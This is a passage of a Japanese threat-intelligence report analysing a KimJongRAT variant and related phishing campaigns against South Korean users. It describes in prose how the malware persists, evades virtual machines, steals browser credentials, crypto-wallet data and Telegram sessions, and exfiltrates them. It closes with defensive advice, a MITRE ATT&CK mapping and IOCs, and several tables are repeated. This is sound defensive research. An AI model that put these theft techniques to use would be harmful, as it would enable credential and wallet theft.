Windows Defenderが実行中である場合、「pipe.zip」ファイルをダウンロードし、最終的にPowerShellスクリプトとして作られたマルウェアが実行される。「pipe.zip」には、「1.log」、「1.ps1」、「1.vbs」、「2.log」の合計4つのファイルが圧縮されている。この中で「1.ps1」ファイルを「-FileName 1.log」の引数を与えて実行する。

caption - pipe.zipに圧縮されたファイル一覧

3.3.1. 1.ps1

「1.ps1」はFileName引数として渡されたファイルをbase64でデコードして実行するデコーダースクリプトである。

디코딩 및 실행 루틴

caption - デコードおよび実行ルーチン

3.3.2. 1.log

「1.log」ファイルはメインのマルウェアであり、実行直後にコンピュータのUUIDをidとして用いて「%Temp%」パスにディレクトリを生成し、各種のパスとC&Cサーバーアドレスを設定する。その後「%Temp%」パスに「pid.txt」ファイルを生成して重複実行を防止する。ハードコードされたC&Cサーバーのアドレスは以下の通りである。

  • quemr.mailhubsec[.]com

초기 설정 루틴

caption - 初期設定ルーチン

アンチVM

コンピュータの製造会社名にVMware、Microsoft、VirtualBoxが含まれている場合、KillMe関数を呼び出して解凍されたすべてのファイルを削除した後にプロセスを終了する。

초기 설정 루틴

caption - アンチVMルーチン

永続性の確保

RegisterTask関数は、”1.vbs”ファイルを”HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityCheck”レジストリ値として登録して永続性を確保する。”1.vbs”は現在作業中のディレクトリを「%localappdata%\pipe」に変更し、”1.ps1”スクリプトに”-FileName 1.log”の引数を与えて実行する。

지속성 확보 루틴

caption - 永続化(持続性確保)ルーチン

システム情報の収集

Init関数は各種システム情報を収集し、「%Temp%\[UUID]\info.txt」ファイルに保存する。この過程でディスク名に Virtual Disk、Virtual HD、VMware、Google PersistentDisk が含まれる場合、KillMe関数を呼び出してファイル削除およびプロセスの終了を実行する。収集する情報は以下の通りである。

  • NPKI、GPKI ディレクトリ

  • Admin権限(管理者権限)の有無およびUAC設定

  • OS、CPU 情報

  • ディスク、ボリューム情報

  • プロセス一覧

  • インストールされているソフトウェアの一覧

最近使ったファイル一覧の収集

RecentFiles関数は、「%AppData%\Microsoft\Windows\Recent」パスのショートカットファイルに付随するファイルパスをすべて抽出して「%Temp%\[UUID]\recent.txt」に保存する。

최근 파일 목록 수집 함수

caption - 最近使ったファイル一覧収集関数

機密情報の収集

GetBrowserData関数は、拡張機能、ユーザープロファイル、閲覧履歴などブラウザの種類に対応する各種機密情報と、これを復号化できるマスターキーを収集する。収集対象のブラウザはEdge、Chrome、Whale、Firefoxであり、全ブラウザの拡張機能一覧は「%Temp%\[UUID]\extensions.txt」ファイルに一括記録される。

1. Edge、Chrome、Whale

「%localappdata%\[ブラウザ別のパス]\User Data」に保存されている情報を収集し、「%Temp%\[UUID]\」ディレクトリに保存する。データ保存時、ファイル名から抽出されたブラウザ名が接頭辞として追加されてソース(配信元)を明確化する。収集するデータは以下の通りである。

  • Local Stateから抽出および復号化されたmasterkey

  • プロファイル別の Login Data、Bookmark、Extensions、仮想通貨ウォレット(暗号資産ウォレット)情報

 Edge 민감 데이터 수집 루틴

caption - Edgeの機密データ収集ルーチン

仮想通貨ウォレット情報を抽出する際、「{ 拡張機能ID : ウォレット識別子 }」形式のハッシュテーブルを生成し、記述されているキーとディレクトリ名が一致する場合、そのディレクトリ以下のldb、logファイルを「%Temp%\[UUID]\[ブラウザ]_[プロファイル]_[ウォレット識別子]_[ファイル名]」としてコピーする。抽出対象となる仮想通貨ウォレットと拡張IDは「付録B. IOCs - Extension ID」として添付した。

암호화폐 지갑 정보 추출 루틴

caption - 仮想通貨ウォレット情報の抽出ルーチン

  1. Firefox

「%AppData%\Mozilla\Firefox\Profiles」に保存されている情報を収集し、「%Temp%\[UUID]\」ディレクトリに保存する。保存時にはFirefoxの接頭辞が使用される。プロファイル別に収集するデータは以下の通りである。

  • key4.db

  • key3.db

  • cookies.sqlite

  • logins.json

Firefox 민감 데이터 수집 루틴

caption - Firefoxの機密データ収集ルーチン

GetTelg関数は、「%AppData%\Telegram Desktop\tdata」に保存されているテレグラムのデータを「%Temp%\[UUID]\telg\」ディレクトリにコピーする。この際、アカウント認証情報である「D877F783D5D3EF8C」ディレクトリ内のファイルと、tdataディレクトリ最上位階層にあるファイルが対象となる。

텔레그램 데이터 수집 함수

caption - テレグラムデータ収集関数

Send関数は、「%Temp%\[UUID]\」ディレクトリを「%localappdata%\init.zip」として圧縮する。その後に圧縮ファイルの名前を「init.dat」に変更してサーバーへと転送する。この際、引数のidとしてUUIDが共に転送されて識別子としての役割を持つ。

転送に成功すると、「%Temp%\[UUID]\」ディレクトリ内部のすべてのディレクトリとファイル、および「%localappdata%\init.dat」ファイルをすべて削除する。次の処理であるCreateFileList関数におけるファイル一覧の収集中にそれなりの時間が消費されるため、攻撃者は少なくともGetTelg関数で収集されたデータまでは正常に送信完了するよう設計した。

수집된 정보 압축 및 전송 함수

caption - 収集された情報の圧縮と転送を行う関数

ファイル転送時には、転送するファイルを0xFEでXOR処理して転送する。ファイルサイズが大きい場合は4MBサイズのチャンクに分割し、複数回に分けて転送する。

전송 데이터 가공 루틴

caption - 転送データの加工ルーチン

CreateFileList関数は、すべてのドライブ(Cドライブの場合はUsersディレクトリ)配下の特定拡張子または特定の名前が含まれるファイルパスを収集し、「%Temp%\[UUID]\FileList.txt」ファイルに記録する。該当するファイルは「lst.zip」に圧縮した後に「lst.dat」に名前を変更し、サーバーへと送信する。

  • 拡張子: txt, doc, csv, doc, docx, xls, xlsx, pdf, hwp, hwpx, jpg, jpeg, png, rar, zip, alz, eml, ldb, log

  • キーワード: wallet, UTC-- , blockchain, keystore, privatekey, metamask, phrase, ledger, password, myether, dcent

파일 경로 수집 함수

caption - ファイルパス収集関数

3.3.3. 2.log

「2.log」ファイルは「1.ps1」によって実行され、キーログおよびクリップボードデータを収集するモジュールである。一度実行されると無限ループに入り、60秒の間隔で収集されたデータが「%Temp%\[UUID]\k.log」ファイルへと記録される。

키로그 및 클립보드 데이터 수집 루틴

caption - キーログおよびクリップボードデータの収集ルーチン

すべての処理が終了すると、最後にWork関数が実行される。Work関数は10分の間隔でループし、次のステップを順に実行する。

  1. 収集したキーログおよびクリップボードデータの転送

  2. GetAppKey関数でChrome AppBound Keyのダウンロードまたは収集

  3. C&Cサーバーからファイルパスが記録されたファイル(rd)をダウンロードした後に、該当するファイルをC&Cサーバーへアップロード

  4. C&Cサーバーからファイル名が記録されたファイル(wr)をダウンロードした後に、該当するファイルをC&Cサーバーからダウンロード

  5. C&Cサーバーからコマンドメッセージが保存されたファイル(cmd)をダウンロードした後に実行

結果として、攻撃者がrd、wr、cmdファイルをC&Cサーバーにアップロードすれば、マルウェアのWork関数がC&Cサーバーと相互作用し、ファイルのアップロードとダウンロード、リモートコマンドの実行が可能となる。

Work関数内で実行されるGetAppKey関数は、Chromeマスターキーを復号化および転送するモジュールをダウンロードして実行する。

Appbound key 추출 및 전송 루틴

caption - AppBound keyの抽出および転送ルーチン

PEファイルタイプ攻撃の「app64.log」と同じマスターキー抽出DLLをGoogleドライブから「nzvwan.log」としてダウンロードし、ローダーDLLである「appload.log」ファイルもダウンロードしてbase64でデコードした後にrundll32.exeで実行する。ローダーDLLはPEタイプ攻撃のsys.dllと同様に、低い権限のchromeプロセスへマスターキー抽出用DLLをインジェクションして実行する。

appload.log 인젝션 루틴

caption - appload.logのインジェクションルーチン

4. 追加攻撃の分析

4.1. ログインフィッシング攻撃

初期の侵入に使用されたメールの送信者、送信IPが同じNateのログインフィッシングメールを発見した。当該メールは、海外地域からのログイン試行の警告とともにパスワードの変更を要求する。

| 送信元メールアドレス | 送信元IP | PHPMailerバージョン |
| --- | --- | --- |
| webmaster@nate.nmailhub[.]com | 61.97.243[.]9 | 6.9.1

| 送信元メールアドレス | 送信元IP | PHPMailerバージョン |
| --- | --- | --- |
| webmaster@nate.nmailhub[.]com | 61.97.243[.]9 | 6.9.1

| 送信元メールアドレス | 送信元IP | PHPMailerバージョン |
| --- | --- | --- |
| webmaster@nate.nmailhub[.]com | 61.97.243[.]9 | 6.9.1

caption - 追加のメール情報

「今すぐパスワードを変更しに行く」ボタンをクリックすると、攻撃者のC&Cサーバーのログインフィッシングページ(https://natezlx.myvnc[.]com/?nxnx=change&m=[Base64でエンコードされたメールアドレス])に移動する。このとき接続するC&Cサーバーは、KimJongRAT配布メールで確認されたC&Cサーバーと同一である。

피싱 페이지 접속 유도

caption - フィッシングページへのアクセス誘動

フィッシングページへのアクセス時、/Login.skエンドポイントにリダイレクトされ、セキュリティのために再度ログインする必要があるとして、IDとパスワードの入力を求められる。

caption - フィッシングページの入力フォーム

フィッシングページのドメインは natezlx.myvnc[.]com で、27.102.113[.]20 にマッピングされており、同じIPからnaver、kakaoのフィッシングドメインまで確認された。27.102.113[.]20で確認されたすべてのフィッシングページ情報は以下の表の通りである。

| サービス | フィッシングURL |
| --- | --- |
| Nate | https://natezlx.myvnc[.]com/Login.sk?redirect=https%3A%2F%2Fhelpdesk.nate.com%2Fweb%2Fmember%2Fpassword |
| Naver | http://nid-naverpns.onthewifi[.]com/nidlogin.login?url=https://mail.naver.com/ |
| Kakao | https://daumcyd.ddns[.]net/login/?continue=https://mail.daum.net#login |
| サービス | フィッシングURL |
| --- | --- |
| Nate | https://natezlx.myvnc[.]com/Login.sk?redirect=https%3A%2F%2Fhelpdesk.nate.com%2Fweb%2Fmember%2Fpassword |
| Naver | http://nid-naverpns.onthewifi[.]com/nidlogin.login?url=https://mail.naver.com/ |
| Kakao | https://daumcyd.ddns[.]net/login/?continue=https://mail.daum.net#login |
| サービス | フィッシングURL |
| --- | --- |
| Nate | https://natezlx.myvnc[.]com/Login.sk?redirect=https%3A%2F%2Fhelpdesk.nate.com%2Fweb%2Fmember%2Fpassword |
| Naver | http://nid-naverpns.onthewifi[.]com/nidlogin.login?url=https://mail.naver.com/ |
| Kakao | https://daumcyd.ddns[.]net/login/?continue=https://mail.daum.net#login |

caption - 全体フィッシングページ情報

フィッシングページはプロキシ形式で正常なログインページをロードし、被害者とログインページ間で送受信されるデータを流出させる。Kakaoのフィッシングページの場合、攻撃者が追加したCommon.jsがログインタイトル部分のDOM要素を「セキュリティのために身元を確認する必要があります」という文言で上書きし、すでにログイン済みの被害者にも再度ログインさせるようにする。

Common.js의 DOM 덮어쓰기 루틴

caption - Common.jsのDOM上書きルーチン

また、Common.js内では韓国語で書かれたコメントが発見された。Common.jsファイルが正常なログインページで使用されるファイルを修正したものか、あるいは北朝鮮の背後にいる攻撃者がLLMで生成したコードである可能性も存在する。

Common.js 한글 주석

caption - Common.jsの韓国語コメント

プロキシサーバーを経由して奪取された情報は、C&Cサーバーの /log パスに保存される。ログファイル名は「[IP][ログタイプ].txt」形式で構成され、Kakaoフィッシングログの場合、「[IP].txt」形式のメールアドレスログまで残っている。

各ログタイプ別に含まれる情報は以下の表の通りである。

| ログタイプ | 情報 |
| --- | --- |
| _ck | クッキー情報 |
| _log | ウェブトラフィックログ |
| _redir | リダイレクションURL

| ログタイプ | 情報 |
| --- | --- |
| _ck | クッキー情報 |
| _log | ウェブトラフィックログ |
| _redir | リダイレクションURL

| ログタイプ | 情報 |
| --- | --- |
| _ck | クッキー情報 |
| _log | ウェブトラフィックログ |
| _redir | リダイレクションURL

caption - ログ情報

_redir ログに記録されたリダイレクションURLのうち、KimJongRAT配布時に使用されたGitHubのパスが確認された。これにより、現在攻撃者がKimJongRATの変種配布とログインフィッシング攻撃を同時に試みていることがわかる。

さらに、HTTPS証明書情報を介して、同じ攻撃者が攻撃に使用したと疑われるIPを4個収集した。これらすべてのIPに、Naver、Kakao、Nateに関連するドメインのマッピング履歴が残っており、一部は過去にKimJongRATの変種マルウェア配布に使用されていた。現在はどれも攻撃に使用されていないことが確認された。IP特定に使用されたSSLフィンガープリントと特定された攻撃者IPは以下の通りである。

  • ssl フィンガープリント: 7d098f0f41601216ffd2e7f06da56c70f1e671da

  • 27.102.113[.]170

  • 27.102.113[.]107

  • 27.102.113[.]209

  • 183.111.226[.]13

4.2. スピアフィッシング攻撃

調査中に上記のSSLフィンガープリントから判明したIPから、alzファイルをダウンロードする2種類のスピアフィッシングメールを確保した。送信されたメールアドレスとIPは既存の事例と異なるが、添付ファイルのダウンロードURL形式、送信者基準での送信時間がUTC -0700で記録されている点、送信に使用されたPHPMailerのバージョンが6.9.1である点など、メタデータにおける多数の共通点が発見された。両攻撃の詳細情報は以下の表の通りである。

| ファイル偽装 | 送信元メールアドレス | 送信元IP | 添付ファイルダウンロードURL |
| --- | --- | --- | --- |
| 暗号資産ウォレット | heston.cho@kaia.mailhubsec[.]com | 160.202.160[.]248 | https://nid-navervtw.serveftp[.]com/docs/?&mp=nv&att=samsungcard_detail.zip |
| カード利用明細書 | bill@samsungcard.mailhubsec[.]com | 103.249.28[.]34 | https://nid-naverqcr.servepics[.]com/docs/?&mp=nv&att=Kaia_wallet.alz |
| ファイル偽装 | 送信元メールアドレス | 送信元IP | 添付ファイルダウンロードURL |
| --- | --- | --- | --- |
| 暗号資産ウォレット | heston.cho@kaia.mailhubsec[.]com | 160.202.160[.]248 | https://nid-navervtw.serveftp[.]com/docs/?&mp=nv&att=samsungcard_detail.zip |
| カード利用明細書 | bill@samsungcard.mailhubsec[.]com | 103.249.28[.]34 | https://nid-naverqcr.servepics[.]com/docs/?&mp=nv&att=Kaia_wallet.alz |
| ファイル偽装 | 送信元メールアドレス | 送信元IP | 添付ファイルダウンロードURL |
| --- | --- | --- | --- |
| 暗号資産ウォレット | heston.cho@kaia.mailhubsec[.]com | 160.202.160[.]248 | https://nid-navervtw.serveftp[.]com/docs/?&mp=nv&att=samsungcard_detail.zip |
| カード利用明細書 | bill@samsungcard.mailhubsec[.]com | 103.249.28[.]34 | https://nid-naverqcr.servepics[.]com/docs/?&mp=nv&att=Kaia_wallet.alz |

caption - 攻撃詳細情報

分析の時点ではマルウェア配布サーバーが非アクティブ化されており、現在アクティブなサーバーには該当のalzファイルが存在しないため、配布されたalzファイルは確保できなかった。

암호화폐 지갑 파일 위장 스피어 피싱 이메일

caption - 暗号資産ウォレットファイルを装ったスピアフィッシングメール

이용대금 명세서 위장 스피어 피싱 이메일

caption - 利用料金明細書を装ったスピアフィッシングメール

5. 対応策

5.1. 実行前のファイルタイプの確認

LNK拡張子を持つショートカットファイルは、Windowsファイルエクスプローラーで拡張子が表示されません。攻撃者は他のタイプの拡張子やアイコンを適用し、被害者が悪意のあるLNKファイルを正常なファイルと誤認するように設計します。本レポートの攻撃においても、攻撃者が隠したスクリプトが実行されるLNKファイルを、現在はTXT、過去にはPDFファイルに偽装して被害者の警戒心を解きました。

悪意のあるLNKファイルを利用した攻撃を予防するため、ダウンロードしたファイルを実行する前に、ファイルタイプが「ショートカット」であるか確認する必要があります。

LNK 파일 유형 정보

caption - LNKファイルのタイプ情報

これに加えて、ファイルアイコンのショートカット矢印マークもLNKファイルの識別を助けます。

LNK 파일 아이콘 화살표

caption - LNKファイルアイコンの矢印

5.2. 追加の動作を誘導された場合の疑い

最近、脅威アクターが被害者に追加の動作を要求し、油断を誘う事例が頻繁に発生しています。本レポートの事例では、PDF文書にパスワードを設定した後、悪意のあるLNKファイルの名前を「パスワード.txt.lnk」ファイルに設定し、被害者が自然にマルウェアを実行するように設計されていました。

문서 열람 시 나타나는 암호 입력 창

caption - 文書閲覧時に表示されるパスワード入力ウィンドウ

北朝鮮が背景にあるとされるハッキンググループの一つであるKimsukyの仕業と推定される2025年7月の攻撃では、マニュアル文書が悪意のあるPowerShellスクリプトとともに配布されました。該当のマニュアルファイルは、被害者が悪意のあるPowerShellスクリプトを認証コードと認識して自ら実行するように誘導します。

7월 공격에 사용된 문서

caption - 7月の攻撃に使用された文書

したがって、電子メールまたは外部リンクを通じてダウンロードされたファイルが追加の動作を誘導する場合は、直ちに動作を中断し、資料の信頼性を検証する必要があります。

6. おわりに

本稿では、2013年に初めて報告されて以来、2018年から韓国を対象とした攻撃事例が継続的に報告されている金正RAT(KimJongRAT)亜種マルウェアの最新の攻撃フローを分析した。2024年以降、攻撃者は従来のPEタイプの攻撃に加え、新しいPowerShellスクリプトタイプの攻撃を並行して行っており、2025年夏からはこれら2つのタイプを1つに統合した。分析プロセスでは、初期アクセス戦略から攻撃インフラ、マルウェアのアップデートフローに至るまで、攻撃者の活動全般を詳細に分析した。

このほかにも、同じ攻撃者による別の攻撃の兆候が捉えられた。ログイン情報の窃取を目的として行われていたフィッシングサイト攻撃が、最近ではKimJongRAT亜種マルウェアの配布プロセスに結合された。それだけでなく、被害者の個人情報に言及するスピアフィッシング攻撃まで、大韓民国国民を対象に行われた広範囲な攻撃範囲が明らかになった。

さらに、今回の分析において、KimJongRAT亜種マルウェアと北朝鮮が背後にいる攻撃グループであるKimsukyとの関連性を提示した過去の報告書の意見を裏付ける新たな根拠を発見することができた。大韓民国国民を対象に偽のフィッシングサイトを作成してログインデータを窃取したり、被害者の個人情報を利用して巧妙なスピアフィッシングを実行したりする攻撃は、Kimsukyが主に用いる攻撃手法である。悪意のあるDOCファイルの949コードページと、フィッシングサイトのJSコードから発見されたハングルのコメントも、攻撃者の出自を示す強力な手がかりとなる。

KimJongRAT亜種を利用した攻撃は、かなり長期にわたり続けられている攻撃タイプであり、現在までに類似の脅威を分析した報告書が多数公開されている。それにもかかわらず、攻撃者による活発な亜種の開発とインフラ構築活動は、依然として多くの被害が発生していることを示唆している。これは、組織や社会全体において、脅威情報を迅速に収集・共有し、セキュリティ意識を高める努力がより一層必要であることを明確に示している。

7. 付録

付録 A. MITRE ATT&CK

| Tactics | Techniques |
| --- | --- |
| Initial Access | T1566.002: Phishing: Spearphishing Link |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.003: Command and Scripting Interpreter: Windows Command Shell-nT1059.005: Command and Scripting Interpreter: Visual Basic-nT1204.002: User Execution: Malicious File |
| Persistence | T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Privilege Escalation | T1134: Access Token Manipulation |
| Defense Evasion | T1027.007: Obfuscated Files or Information: Dinamic API Resolution-nT1027.010: Obfuscated Files or Information: Command Obfuscation-nT1140: Deobfuscate/Decode Files or Information-nT1070.004: Indicator Removal: File Deletion-nT1055.001: Process Injection: Dynamic-link Library Injection-nT1620: Reflective Code Loading-nT1497.001: Virtualization/Sandbox Evasion: System Checks |
| Discovery | T1057: Process Discovery-nT1082: System Information Discovery-nT1083: File and Directory Discovery-nT1087: Account Discovery-nT1217: Browser Information Discovery-nT1518: Software Discovery |
| Collection | T1115: Clipboard Data-nT1056.001: Input Capture: Keylogging |
| Exfiltration | T1041: Exfiltration Over C2 Channel |
| Command and Control | T1102: Web Service-nT1071: Application Layer Protocol: Web Protocols-nT1132.002: DataEncoding: None-Standard Encoding-nT1573.001: Encrypted Channel: Symmetric Cryptography

| Tactics | Techniques |
| --- | --- |
| Initial Access | T1566.002: Phishing: Spearphishing Link |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.003: Command and Scripting Interpreter: Windows Command Shell-nT1059.005: Command and Scripting Interpreter: Visual Basic-nT1204.002: User Execution: Malicious File |
| Persistence | T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Privilege Escalation | T1134: Access Token Manipulation |
| Defense Evasion | T1027.007: Obfuscated Files or Information: Dinamic API Resolution-nT1027.010: Obfuscated Files or Information: Command Obfuscation-nT1140: Deobfuscate/Decode Files or Information-nT1070.004: Indicator Removal: File Deletion-nT1055.001: Process Injection: Dynamic-link Library Injection-nT1620: Reflective Code Loading-nT1497.001: Virtualization/Sandbox Evasion: System Checks |
| Discovery | T1057: Process Discovery-nT1082: System Information Discovery-nT1083: File and Directory Discovery-nT1087: Account Discovery-nT1217: Browser Information Discovery-nT1518: Software Discovery |
| Collection | T1115: Clipboard Data-nT1056.001: Input Capture: Keylogging |
| Exfiltration | T1041: Exfiltration Over C2 Channel |
| Command and Control | T1102: Web Service-nT1071: Application Layer Protocol: Web Protocols-nT1132.002: DataEncoding: None-Standard Encoding-nT1573.001: Encrypted Channel: Symmetric Cryptography

| Tactics | Techniques |
| --- | --- |
| Initial Access | T1566.002: Phishing: Spearphishing Link |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.003: Command and Scripting Interpreter: Windows Command Shell-nT1059.005: Command and Scripting Interpreter: Visual Basic-nT1204.002: User Execution: Malicious File |
| Persistence | T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Privilege Escalation | T1134: Access Token Manipulation |
| Defense Evasion | T1027.007: Obfuscated Files or Information: Dinamic API Resolution-nT1027.010: Obfuscated Files or Information: Command Obfuscation-nT1140: Deobfuscate/Decode Files or Information-nT1070.004: Indicator Removal: File Deletion-nT1055.001: Process Injection: Dynamic-link Library Injection-nT1620: Reflective Code Loading-nT1497.001: Virtualization/Sandbox Evasion: System Checks |
| Discovery | T1057: Process Discovery-nT1082: System Information Discovery-nT1083: File and Directory Discovery-nT1087: Account Discovery-nT1217: Browser Information Discovery-nT1518: Software Discovery |
| Collection | T1115: Clipboard Data-nT1056.001: Input Capture: Keylogging |
| Exfiltration | T1041: Exfiltration Over C2 Channel |
| Command and Control | T1102: Web Service-nT1071: Application Layer Protocol: Web Protocols-nT1132.002: DataEncoding: None-Standard Encoding-nT1573.001: Encrypted Channel: Symmetric Cryptography

付録 B. IOC

MD5

  • 66c4e2dd235c4d8d31abaf96e051585e - KAIA+지갑+파일+및+주소+송부드립니다..eml

  • 77f131bc8f660f85812c0d2e0da8e77e - [국세청]+회원님께+도착한+고지서를+확인하세요..eml

  • 003ea91e9f52ecfdc3aadb2732e9b54c - [네이트]+해외+지역에서+로그인이+시도되었습니다..eml

  • e3a937869322cc4cd765fcbf16d5b9ea - [삼성카드]+회원님,+2025년+06월+16일+이용대금+명세서+입니다..eml

  • d69fbf23e7492618cadc63d171010cd8 - [여성가족부]+성범죄자+신상정보+고지+알림.eml

  • 677e77265c7ba52e825fc62023942213 - app

  • 5441d8a79411a261546beb1021cb5052 - appload

  • c69909ea3c131181fa7ae12155bcae17 - main64

  • f000df00a424cefcd8efff48ab167169 - net

  • 76d2cbad8502dce9e70e501c2378d3ff - pipe.zip

  • 2e8bf657d0301fb4c61e29f455d9058e - sys.dll

  • c0ee9a9046d82b294b3bf3bec997fc45 - v3.txt

  • 172dc997ca6022ec8dff0842e4c7b887 - 성범죄자 신상정보 고지.pdf

  • d9ecf148c88bfd9791758b3be1a9f459 - 암호

  • 8b6580e14b8164e28e684d48691ddf4d - KYC_Form.doc

C&C

  • 142.11.248[.]98

  • 27.102.113[.]20

    • natezlx.myvnc[.]com

    • nid-naverbpk.onthewifi[.]com

    • daumcyd.ddns[.]net

  • 27.102.113[.]170

  • 183.111.226[.]13

  • 27.102.113[.]107

  • 27.102.113[.]209

  • cdn.glitch[.]global

E-mail Sender

  • 61.97.243[.]9

  • 160.202.160[.]248

  • 103.249.28[.]34

Google Drive URL

  • https://drive.google[.]com/uc?export=download&id=1kFyBMQdmMvhiu3j9-rTjgV2nVeYGr_fZ

  • https://drive.google[.]com/uc?export=download&id=12V4yQfKNkeA1W_FIkCpirhSO3dnA52Ni

  • https://drive.google[.]com/uc?export=download&id=1Mx-A2CPcotb_DDcKmIs9d3DCSjbLwLhM

  • https://drive.google[.]com/uc?export=download&id=1dWsR1EkV_oxaIrJhXiAmmzvJY8SDgNnu

  • https://drive.google[.]com/ucexport=download&id=1uhHhgt4EMMhWZr9b94dxll0aphOg7PYi

  • https://drive.google[.]com/uc?export=download&id=1_Z9I0D8M31-q7BKp_hs2TuY-kvlQH9D_

  • https://drive.google[.]com/uc?export=download&id=14J3_AavuDYmvlf32nqUQbNwz63Ym9Ph3

  • https://drive.google[.]com/uc?export=download&id=1J__fMPHg-imAvg6BTenO0AmZCNa-lOys

  • https://drive.google[.]com/uc?export=download&id=1PpxH3N-s87LZVCX7IBvLMpx56ABQ6CGn

拡張機能ID

| 拡張機能ID | 暗号資産ウォレット |
| --- | --- |
| nkbihfbeogaeaoehlefnkodbefgpgknn | MetaMask |
| egjidjbpglichdcondbcbdnbeeppgdph | Trust |
| ibnejdfjmmkpcnlpebklmnkoeoihofec | TronLink |
| aholpfdialjgjfhomihkjbmgjidlcdno | Exodus |
| fhbohimaelbohpjbbldcngcnapndodjp | Binance |
| mcohilncbfahbmgdjkbpemcciiolgcge | OKX |
| bfnaelmomeimhlpmgjnjophhpkkoljpa | Phantom |
| ejbalbakoplchlghecdalmeeeajnimhm | MetaMask (Edge) |
| pbpjkcldjiffchgbbndmhojiacbgflha | OKX (Edge) |
| opfgelmcmbiajamepnmloijbpoleiama | Rainbow |
| phkbamefinggmakgklpkljjmgibohnba | Pontem |
| dmkamcknogkgcdfhhbddcghachkejeap | Keplr |
| nphplpgoakhhjchkkhmiggakijnkhfnd | TON |
| jbppfhkifinbpinekbahmdomhlaidhfm | iWallet |
| aiifbnbfobpmeekipheeijimdpnlpgpp | Station |
| bhhhlbepdkbapadjdnnojkbgioiodbic | Solfare |
| jblndlipeogpafnldhgmapagcccfchpi | Kaia |
| fpkhgmpbidmiogeglndfbkegfdlnajnf | Cosmostation |
| onhogfjeacnfoofkfgppdlbmlmnplgbn | SubWallet |
| pdliaogehgdbhbnmkklieghmmjkpigpa | Bybit |
| acmacodkjbdgmoleebolmdjonilkdbch | Rabby |
| aflkmfhebedbjioipglgcbcmnbpgliof | Backpack |
| fnjhmkhhmkbjkkabndcnnogagogbneec | Ronin |
| ppbibelpcjmhbdihakflkdcoccbgbkpo | UniSat |
| anokgmphncpekkhclmingpimjmcooifb | Compass |
| dlcobpjiigpikoobohmabehhmhfoodbb | Argent |
| efbglgofoippbgcjepnhiblaibcnclgk | Martian |
| ejjladinnckdgjemekebdpeokbikhfci | Petra |
| fcfcfllfndlomdhbehjjcoimbgofdncg | Leap |
| jnlgamecbpmbajjfhmmmlhejkemejdma | Braavos |
| fijngjgcjhjmmpcmkeiomlglpeiijkld | Talisman |
| mkpegjkblkkefacfnmkajcjmabijhclg | Magic Eden |
| aeachknmefphepccionboohckonoeemg | Coin98 |
| idnnbdplmphpflfnlkomgpfbpcgelopg | Xverse |
| nnpmfplkfogfpmcngplhnbdnnilmcdcg | Uniswap |
| opcgpfmipidbgpenhmajoajpbobppdil | Sui |
| hnfanknocfeofbddgcijnmhnfnkdnaad | Coinbase |
| kkpllkodjeloidieedojogacfhpaihoh | Enkrypt

| 拡張機能ID | 暗号資産ウォレット |
| --- | --- |
| nkbihfbeogaeaoehlefnkodbefgpgknn | MetaMask |
| egjidjbpglichdcondbcbdnbeeppgdph | Trust |
| ibnejdfjmmkpcnlpebklmnkoeoihofec | TronLink |
| aholpfdialjgjfhomihkjbmgjidlcdno | Exodus |
| fhbohimaelbohpjbbldcngcnapndodjp | Binance |
| mcohilncbfahbmgdjkbpemcciiolgcge | OKX |
| bfnaelmomeimhlpmgjnjophhpkkoljpa | Phantom |
| ejbalbakoplchlghecdalmeeeajnimhm | MetaMask (Edge) |
| pbpjkcldjiffchgbbndmhojiacbgflha | OKX (Edge) |
| opfgelmcmbiajamepnmloijbpoleiama | Rainbow |
| phkbamefinggmakgklpkljjmgibohnba | Pontem |
| dmkamcknogkgcdfhhbddcghachkejeap | Keplr |
| nphplpgoakhhjchkkhmiggakijnkhfnd | TON |
| jbppfhkifinbpinekbahmdomhlaidhfm | iWallet |
| aiifbnbfobpmeekipheeijimdpnlpgpp | Station |
| bhhhlbepdkbapadjdnnojkbgioiodbic | Solfare |
| jblndlipeogpafnldhgmapagcccfchpi | Kaia |
| fpkhgmpbidmiogeglndfbkegfdlnajnf | Cosmostation |
| onhogfjeacnfoofkfgppdlbmlmnplgbn | SubWallet |
| pdliaogehgdbhbnmkklieghmmjkpigpa | Bybit |
| acmacodkjbdgmoleebolmdjonilkdbch | Rabby |
| aflkmfhebedbjioipglgcbcmnbpgliof | Backpack |
| fnjhmkhhmkbjkkabndcnnogagogbneec | Ronin |
| ppbibelpcjmhbdihakflkdcoccbgbkpo | UniSat |
| anokgmphncpekkhclmingpimjmcooifb | Compass |
| dlcobpjiigpikoobohmabehhmhfoodbb | Argent |
| efbglgofoippbgcjepnhiblaibcnclgk | Martian |
| ejjladinnckdgjemekebdpeokbikhfci | Petra |
| fcfcfllfndlomdhbehjjcoimbgofdncg | Leap |
| jnlgamecbpmbajjfhmmmlhejkemejdma | Braavos |
| fijngjgcjhjmmpcmkeiomlglpeiijkld | Talisman |
| mkpegjkblkkefacfnmkajcjmabijhclg | Magic Eden |
| aeachknmefphepccionboohckonoeemg | Coin98 |
| idnnbdplmphpflfnlkomgpfbpcgelopg | Xverse |
| nnpmfplkfogfpmcngplhnbdnnilmcdcg | Uniswap |
| opcgpfmipidbgpenhmajoajpbobppdil | Sui |
| hnfanknocfeofbddgcijnmhnfnkdnaad | Coinbase |
| kkpllkodjeloidieedojogacfhpaihoh | Enkrypt

| 拡張機能ID | 暗号資産ウォレット |
| --- | --- |
| nkbihfbeogaeaoehlefnkodbefgpgknn | MetaMask |
| egjidjbpglichdcondbcbdnbeeppgdph | Trust |
| ibnejdfjmmkpcnlpebklmnkoeoihofec | TronLink |
| aholpfdialjgjfhomihkjbmgjidlcdno | Exodus |
| fhbohimaelbohpjbbldcngcnapndodjp | Binance |
| mcohilncbfahbmgdjkbpemcciiolgcge | OKX |
| bfnaelmomeimhlpmgjnjophhpkkoljpa | Phantom |
| ejbalbakoplchlghecdalmeeeajnimhm | MetaMask (Edge) |
| pbpjkcldjiffchgbbndmhojiacbgflha | OKX (Edge) |
| opfgelmcmbiajamepnmloijbpoleiama | Rainbow |
| phkbamefinggmakgklpkljjmgibohnba | Pontem |
| dmkamcknogkgcdfhhbddcghachkejeap | Keplr |
